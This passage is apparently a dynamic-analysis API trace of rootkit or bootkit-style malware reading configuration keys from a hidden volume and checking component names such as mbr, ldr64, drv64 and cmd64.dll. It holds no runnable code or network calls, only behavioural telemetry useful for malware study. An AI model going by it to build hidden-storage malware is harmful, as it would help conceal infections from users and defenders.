returned 1 [0126.679] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.679] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.679] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.679] KeEnterCriticalRegion () [0126.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.679] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.679] IdePortDispatch () returned 0x103 [0126.680] KeWaitForMutexObject () returned 0x0 [0126.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.680] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.680] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.680] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.680] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.680] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e07e0 [0126.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.680] KeLeaveCriticalRegion () [0126.680] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.680] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.680] KeEnterCriticalRegion () [0126.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.680] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.680] KeLeaveCriticalRegion () [0126.680] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.680] KeEnterCriticalRegion () [0126.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.680] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.680] IdePortDispatch () returned 0x103 [0126.680] KeWaitForMutexObject () returned 0x0 [0126.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.680] KeLeaveCriticalRegion () [0126.680] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.681] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.681] KeEnterCriticalRegion () [0126.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ad000 [0126.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.681] IdePortDispatch () returned 0x103 [0126.681] KeWaitForMutexObject () returned 0x0 [0126.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.681] IdePortDispatch () returned 0x103 [0126.681] KeWaitForMutexObject () returned 0x0 [0126.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.681] KeLeaveCriticalRegion () [0126.681] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.682] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.682] KeEnterCriticalRegion () [0126.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.682] KeLeaveCriticalRegion () [0126.682] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.682] KeEnterCriticalRegion () [0126.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.682] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.682] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.682] KeLeaveCriticalRegion () [0126.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.682] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.682] KeEnterCriticalRegion () [0126.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.682] ExFreePoolWithTag (P=0xfffffa80037e07e0, Tag=0x0) [0126.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.682] KeLeaveCriticalRegion () [0126.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.682] ReleaseMutex (hMutex=0xf0) returned 1 [0126.682] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.682] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.682] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.682] KeEnterCriticalRegion () [0126.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.682] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.682] IdePortDispatch () returned 0x103 [0126.682] KeWaitForMutexObject () returned 0x0 [0126.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.683] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.683] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.683] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.683] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.683] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.683] KeLeaveCriticalRegion () [0126.683] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.683] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.683] KeEnterCriticalRegion () [0126.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.683] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.683] KeLeaveCriticalRegion () [0126.683] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.683] KeEnterCriticalRegion () [0126.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.683] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.683] IdePortDispatch () returned 0x103 [0126.683] KeWaitForMutexObject () returned 0x0 [0126.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.683] KeLeaveCriticalRegion () [0126.683] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.683] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.683] KeEnterCriticalRegion () [0126.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.683] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ae000 [0126.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.684] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.684] IdePortDispatch () returned 0x103 [0126.685] KeWaitForMutexObject () returned 0x0 [0126.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.685] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.685] IdePortDispatch () returned 0x103 [0126.685] KeWaitForMutexObject () returned 0x0 [0126.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.685] KeLeaveCriticalRegion () [0126.685] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.686] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.686] KeEnterCriticalRegion () [0126.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.686] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.686] KeLeaveCriticalRegion () [0126.686] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.686] KeEnterCriticalRegion () [0126.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.686] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.686] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.686] KeLeaveCriticalRegion () [0126.686] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.686] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.686] KeEnterCriticalRegion () [0126.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.686] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.686] KeLeaveCriticalRegion () [0126.686] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.686] ReleaseMutex (hMutex=0xf0) returned 1 [0126.686] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.686] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.686] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.686] KeEnterCriticalRegion () [0126.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.687] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.687] IdePortDispatch () returned 0x103 [0126.687] KeWaitForMutexObject () returned 0x0 [0126.687] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.687] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.687] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.687] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.687] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.687] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eeb90 [0126.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.687] KeLeaveCriticalRegion () [0126.687] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.687] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.687] KeEnterCriticalRegion () [0126.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.687] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.687] KeLeaveCriticalRegion () [0126.687] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.687] KeEnterCriticalRegion () [0126.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.687] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.687] IdePortDispatch () returned 0x103 [0126.687] KeWaitForMutexObject () returned 0x0 [0126.687] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.687] KeLeaveCriticalRegion () [0126.688] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.688] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.688] KeEnterCriticalRegion () [0126.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.688] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035af000 [0126.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.688] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.688] IdePortDispatch () returned 0x103 [0126.688] KeWaitForMutexObject () returned 0x0 [0126.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.688] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.688] IdePortDispatch () returned 0x103 [0126.688] KeWaitForMutexObject () returned 0x0 [0126.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.688] KeLeaveCriticalRegion () [0126.688] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.689] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.689] KeEnterCriticalRegion () [0126.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.689] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.689] KeLeaveCriticalRegion () [0126.689] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.689] KeEnterCriticalRegion () [0126.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.689] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.689] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.689] KeLeaveCriticalRegion () [0126.689] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.689] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.689] KeEnterCriticalRegion () [0126.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.689] ExFreePoolWithTag (P=0xfffffa80037eeb90, Tag=0x0) [0126.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.689] KeLeaveCriticalRegion () [0126.689] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.689] ReleaseMutex (hMutex=0xf0) returned 1 [0126.689] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.689] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.689] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.689] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.689] KeEnterCriticalRegion () [0126.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.689] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.689] IdePortDispatch () returned 0x103 [0126.690] KeWaitForMutexObject () returned 0x0 [0126.690] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.690] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.690] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.690] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.690] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.690] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.690] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.690] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.690] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.690] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.690] KeLeaveCriticalRegion () [0126.690] IofCompleteRequest 